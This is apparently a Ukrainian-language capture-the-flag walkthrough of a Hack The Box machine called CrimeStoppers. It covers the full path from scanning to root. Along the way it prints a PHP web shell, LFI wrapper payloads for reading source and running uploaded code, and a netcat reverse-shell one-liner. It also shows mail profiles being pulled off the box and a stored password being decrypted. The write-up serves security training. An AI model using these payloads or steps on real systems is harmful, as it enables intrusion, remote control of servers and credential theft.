Для початку додамо IP-адресу у файл hosts..
sudo nano /etc/hosts
![]()
Проведемо початкове сканування за допомогою masscan: будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і перевіримо результат.
sudo masscan -p1-65535,U:1-65535 10.129.206.41 --rate=500 -e tun0 > crimestoppers

cat crimestoppers

Тепер проскануємо єдиний відкритий порт за допомогою nmap. Використовуємо опції sC для стандартних скриптів, sV для визначення версій служб та oA для збереження результатів у файл.
nmap -p80 -sC -sV -oA nmap/crimestoppers crimestoppers.htb

Nmap повідомляє нам, що на порту 80 працює вебсервер Apache httpd версії 2.4.25. Також видно заголовок — FBIs Most Wanted: FSociety. Давайте відкриємо сторінку через браузер.

На сайті ми бачимо головних підозрюваних, опис групи та пов’язані з ними злами. Якщо ми переглянемо вихідний код головної сторінки, то не знайдемо нічого цікавого. Перейдемо в розділ Upload і спробуємо надіслати Tip (пораду). На виході отримаємо якесь секретне ім’я та саму пораду.
![]()

Відкриємо Burp Suite і переглянемо запит у цій програмі, одразу перенаправивши його в Repeater.

У запиті видно, що є cookie admin, яке дорівнює 0. Давайте змінимо це значення на 1 за допомогою плагіна cookie-editor і оновимо сторінку.

У нас з’явиться додатковий пункт List. Перейшовши до нього, ми побачимо записку Whiterose.txt та хеш, що дорівнює нашому секретному імені, отриманому раніше. Прочитаємо записку Whiterose.txt.
Вітаємо,
Вам дійсно варто навчитися програмувати, один із GET-параметрів досі вразливий. Більшість подумає, що це просто призведе до розкриття вихідного коду, але існує ланцюжок, який забезпечує віддалене виконання коду.*
Для отримання додаткової інформації зв’яжіться з WhiteRose@DarkArmy.htb.*
Тобто вразливий якийсь параметр GET, що призводить до RCE. Спробуємо прочитати файл /etc/passwd.
![]()
Нам повернеться помилка. Але якщо ми додамо %00 до запиту, нам покажуть текст:
![]()
Ви справді намагаєтеся отримати /etc/passwd/!? Ми що, подорожували в часі? Це ж не 90-ті!
![]()
Спробуємо інше корисне навантаження (payload). Зі статті http://web.archive.org/web/20240314034350/ironhackers.es/en/herramientas/lfi-cheat-sheet/ ми можемо дізнатися, що існують ще wrapper-и. Нас цікавитиме wrapper base64-encode. Спробуємо з його допомогою прочитати вихідний код сторінки.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=home
Відповідь буде у форматі base64. Тому збережемо текст у файл і декодуємо його в командному рядку.

cat home.php | base64 -d > home.php.decode
Відкриваємо файл у Firefox.

Видно лише HTML-код і те, що є ще файл common.php. Поки що подивимося інші файли.
ttp://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=index
cat index.php | base64 -d > index.php.decode

Тут іде перевірка на наявність куки admin, що дорівнює 1.

Та перевірка на %00 і ../../../.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=list
cat list.php | base64 -d > list.php.decode

У цьому файлі бачимо, що є папка uploads, і що вона об’єднується з IP-адресою клієнта. Давайте подивимося на цю папку uploads.

Нам показується така картинка з проханням прочитати вихідний код файлу, отже, ми на правильному шляху.
http://crimestoppers.htb/?op=php://filter/convert.base64-encode/resource=upload
cat upload.php | base64 -d > upload.php.decode

З коду видно, що підказки кладуться в папку uploads/ip-адреса клієнта. Давайте перейдемо за цим шляхом і подивимося, що там знаходиться.

Якщо ми натиснемо на хеш-файл, це приведе нас до нашої текстової підказки.
Тепер, знаючи повний шлях і використовуючи вже інший wrapper, ми можемо спробувати виконати PHP-код, як нам і писали в листі.
Для початку створимо просте навантаження (payload).
nano shell.php
<?php echo system($_REQUEST['cmd']); ?>
![]()
Запакуємо наше навантаження.
zip shell.zip shell.php

Кодуємо у формат base64.
base64 -w 0 shell.zip

І надсилаємо запит через Burp Suite, попередньо повернувши вихідний рядок із формату base64 за допомогою вбудованих інструментів. (Виділити текст і натиснути Ctrl+Shift+B)


У відповіді отримаємо секретне ім’я.

Для перевірки цілісності завантажимо цей файл.
curl http://crimestoppers.htb/uploads/10.10.16.10/160a9dfe1f77014722da5bbf901379497949a792 > test.zip

І порівнявши їх між собою. Але на нас чекає невдача, файли будуть різні.
Перетворимо файли в hex-представлення.

І порівняємо між собою з використанням diff.
diff *.hex

Спочатку файли однакові, але далі йдуть розбіжності. Те саме буде, якщо ми завантажимо файл через вебформу, вставивши в ній файл, переглянутий через утиліту cat.
Щоб правильно завантажити файл, потрібно використовувати утиліту curl. Спочатку отримаємо токен та ID PHP-сесії.
curl -sD - http://10.10.10.80/?op=upload | grep -e PHPSESSID -e 'name="token"'

Використовуємо отримані дані в наступній команді.

curl -X POST -sD - -F "tip=<shell.zip" -F "name=a" -F "token=a912f0a336b7810e5b8b164d5b8e7c05af6c1018e8117f90e41d47be4cdc338d" -F "submit=Send Tip -x 127.0.0.1:8080 http://crimestoppers.htb/?op=upload -H "Referer: http://crimestoppers.htb/?op=upload" -H "Cookie: admin=1; PHPSESSID=l5u9pil9qq0012u0puk5aiahr7"

Як видно, закодований текст такий самий, як і коли ми вставляли та перетворювали його вручну.

Забираємо секретне ім’я, завантажуємо файл і знову порівнюємо між собою.

md5sum каже, що файли однакові.

Тепер спробуємо виконати наш код на сервері. Для цього використовуємо wrapper вигляду:
zip://uploads/10.10.16.10/57437f0d74fff2ae4529944e147e4c126ceeb9b1#shell&cmd=id

Система поверне 200 OK, але ідентифікатора системи ми не побачимо. Зараз нам потрібно правильно закодувати символ # у запиті. Для цього виділимо його і натиснемо Ctrl+U.

Тепер нам повернеться наш ідентифікатор у системі. Настав час запустити реверс-шелл. Спочатку запустимо слухача.
nc -lnvp 1234

Будемо використовувати наступний реверс-шелл, попередньо закодувавши його в Burp Suite.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.10 1234 >/tmp/f

І отримуємо реверс-шелл.

І забираємо прапор у домашній директорії користувача.
cat /home/dom/user.txt | wc

У домашній директорії є папка .thunderbird, заходимо в неї, стискаємо профайл і забираємо його через браузер.
tar -cjvf /var/www/html/uploads/10.10.16.10/36jinndk.default.tar.bz2 36jinndk.default


Тепер давайте розпакуємо завантажений файл.

Встановимо в систему Kali thunderbird.
sudo apt install thunderbird

Перемістимо профіль у домашню директорію.
mv 36jinndk.default/ ~/.thunderbird/36jinndk.default/
![]()
Відредагуємо профіль.
nano profiles.ini

Після редагування профілю викликаємо менеджер профілів командою thunderbird -ProfileManager, вибираємо потрібний профіль і завантажуємо thunderbird з листами.
У вхідних бачимо такий текст:
Вітаємо, Я залишив повідомлення на сторінці «Залишити пораду», але відповіді не отримав. На вашому сайті виявлено серйозну вразливість! Вона призводить до виконання коду. Продовжуючи розслідування, ми продамо експлойт! Можливо, покупець не буде таким люб’язним. Для отримання більш детальної інформації внесіть 1 мільйон екоїнів на свій гаманець. Інструкції з оплати будуть надіслані після того, як ми побачимо, що ви переказали гроші.
А у відправлених наступну переписку:
Якщо ми створимо сторінку для винагороди за виявлення помилок, ви б погодилися використовувати її? Надішліть повідомлення про помилку, вони перевірять її наявність і здійснять оплату. Я не розумію, як працюють ці електронні монети. Ви що-небудь про це знаєте? У будь-якому разі, я намагаюся переконати їх погодитися на альтернативний спосіб оплати, який дозволить нам краще відстежувати одержувача. Сподіваюся, DarkArmy подумає, що ми купка дурнів, які нічого не знають про eCoin. Елліот. Ми отримали підозрілий лист від DarkArmy, у якому стверджувалося, що на нашому вебсервері виявлено вразливість віддаленого виконання коду. Я їм не довіряю і запустив rkhunter, який повідомив про встановлений руткіт під назвою apache_modrootme backdoor. Згідно з моїми дослідженнями, якби цей руткіт був на сервері, я мав би мати можливість запустити команду “nc localhost 80”, а потім ввести “get root”, щоб отримати root-оболонку. Однак сервер просто видає помилку, не надаючи жодної оболонки. Чи не могли б ви перевірити, чи не є це хибним спрацьовуванням?
Тобто на сайті встановлено apache_modrootme backdoor, давайте спробуємо його знайти.
Нагадаю, що ми зараз перебуваємо в системі з правами www-data, а домашня директорія називається dom.
![]()
Спробуємо дізнатися пароль для користувача dom, для цього завантажуємо декриптор..
git clone https://github.com/unode/firefox_decrypt.git

І відновлюємо пароль.

Спробуємо підключитися через SSH з цим паролем.

Але система відхиляє підключення. Подивимося правила фаєрвола.
iptables -L

Нам не вистачає прав. Але якщо виконаємо команду netstat, побачимо, що SSH ще доступний через IPv6.

Через ifconfig отримуємо IPv6-адресу.

І підключаємося через SSH.
![]()
За цим посиланням ми знайдемо ім’я руткіта.
https://github.com/sajith/mod-rootme
Тепер давайте пошукаємо файл через пошук.
![]()
І забираємо файл собі в систему.
scp -6 dom@[dead:beef::250:56ff:fe95:8a36]:/usr/lib/apache2/modules/mod_rootme.so .

Перетягнемо файл собі на Windows-машину і відкриємо в IDA PRO.
Нас цікавитиме функція darkarmy, тому що вона вкладена у функцію rootme_post_read_request.


Секретна фраза формується зі слова HackTheBox, байтів E140D383B0B0C271B01 та інструкції XOR. Давайте скористаємося вебутилітами для декодування секретної фрази.

Отримавши секретну фразу, тепер можемо звернутися з нею до вебсервера.

Прапор успішно отримано.